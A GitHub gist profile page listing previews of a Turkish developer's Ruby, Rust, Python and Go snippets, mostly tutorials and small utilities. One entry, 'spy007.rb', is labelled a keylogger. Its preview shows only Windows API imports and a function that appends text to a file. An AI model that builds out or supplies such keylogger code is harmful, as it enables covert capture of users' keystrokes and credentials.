Skip to content

Instantly share code, notes, and snippets.

View cptangry's full-sized avatar

Gökhan Çağlar cptangry

View GitHub Profile
@cptangry
cptangry / renkler.rb
Last active September 25, 2016 17:36
Son revizyon ile: Eğer 3. parametre false verilirse resim önizlemesi es geçilebilir. Dizide RGB değeri nil (yani boş) döndüyse palet dizisine eklenmeyecek ama dönen toplam renk dizisini bileceksiniz. Elde edilen renk paleti listesi sRGB formatında dosyaya kaydedilebilir.
#!/usr/bin/env ruby
# -*- coding: utf-8 -*-
require 'catpix'
require 'yaml'
require 'colorscore'
include Colorscore
def draw_img(pic)
Catpix::print_image(pic, options = {
@cptangry
cptangry / xparser.rb
Created October 11, 2016 12:34
Devasa Excel dosyaları için parser
require 'creek'
require 'activerecord-import'
class ExcelDataParser
def initialize(dosya_yolu)
@dosya_yolu = dosya_yolu
@veriler = []
@sayac = 1
end
#!/usr/bin/env ruby
# coding: utf-8
require 'nokogiri'
require 'mechanize'
xmlfile, xmlpath = ARGV
def download_image(url, index, link_sum, path)
agent = Mechanize.new
puts "İndiriliyor: #{url}"
@cptangry
cptangry / spy007.rb
Created April 2, 2017 15:37
keylogger
#!usr/bin/env ruby -w
# coding: utf-8
require "win32api"
def dosyaya_kaydet(dosya_ismi, metin)
dosya = File.open(dosya_ismi, 'a')
dosya.puts metin, "\n"
end
@cptangry
cptangry / rust_ogren.rs
Last active June 28, 2017 10:27
Rust eğitimi: derlenebilir ayrıntılı açıklamalı ve konulara ayrılmış halde
// Bu bir satırlık yorumdur. Bir satırlık yorum böyle görünür
/*
ÇOK SATIRLI YORUM
Rust Mozilla Research tarafından geliştirilmesi desteklenen bir dildir.
Alt Seviye dil kontrolleri üzerine üst seviyenin kolaylığını ve veri
güvenliğini ekler
*/
/// Dökümantasyon yorumu böyle yazılr. Markdown notasyonları desteklenir.
@cptangry
cptangry / python_ogretici.py
Last active November 6, 2021 09:25
Python 3 için Tek bir betik dosyasında ayrıntılı yorumlarla Python dilinin temel kavram ve uygulamaları ile açıklamaları. Dosya çalıştırılabilir.
#!/usr/bin/env python3.6
# coding: utf-8
"""
Çok Satırlı yorum:
Python Guido Van Rossum tarafından 90'ların başında geliştirilmeye
başlanmıştır.
"""
# Bu da bir tek satırlık yorum örneğidir.
@cptangry
cptangry / fibonacci.rb
Last active July 5, 2017 06:13
Çok büyük değerdeki sayıların karşılığı fibonacci dizisi değerini verir ya da o sıraya kadar diziyi listeler
PARAM = ARGV[0]
SAYI = ARGV[1].to_i
def fibo(n)
(2..n).reduce([0, 1]) { |bellek| bellek << bellek.last(2).reduce(:+) }
end
if __FILE__ == $0
case PARAM
@cptangry
cptangry / ruby_ogren.rb
Last active June 30, 2024 16:18
Tek dosyada Ruby Programlama Dilinin Temellerini Öğren ve Dene. Çalıştırılabilir Betik dosyası
# coding: utf-8
# Tek satırlık yorum yazmak için # kullandık
# Version: Ruby-2.4.1
=begin
Ruby Programlama Dili, 1995 itibariyle yayınlaşmış,
Matsumoto Yukihiro (Japoncada soyad önce söylenir)
tarafından geliştirilmeye başlanmış özgür bir projedir.
Bu da bir çok satırlı yorumdur.
@cptangry
cptangry / lets.go
Last active January 28, 2024 13:07
Tek dosyada Go dilinin temel konuları ve örnekler
package main //Çalıştrılacak her Go kaynak dosyasında yer almalıdır.
// Go Dilinde tek satırlık yorum/açıklama
import (
"fmt" // Standart kütüphaneyi projemize dahil ettik
"io/ioutil" // Temel io işlemleri
"log" // log
"math" // Matematiksel işlem ve değer tanımlarını içeren kütüphaneyi içe aktardık
"net/http"
"os" // İşletim sistemi işlemleri
@cptangry
cptangry / round.go
Created July 22, 2017 07:15
Büyük hizmet! GO Programlama Dili için Round Fonksiyonu
func Round(val float64, roundOn float64, places int ) (newVal float64) {
var round float64
pow := math.Pow(10, float64(places))
digit := pow * val
_, div := math.Modf(digit)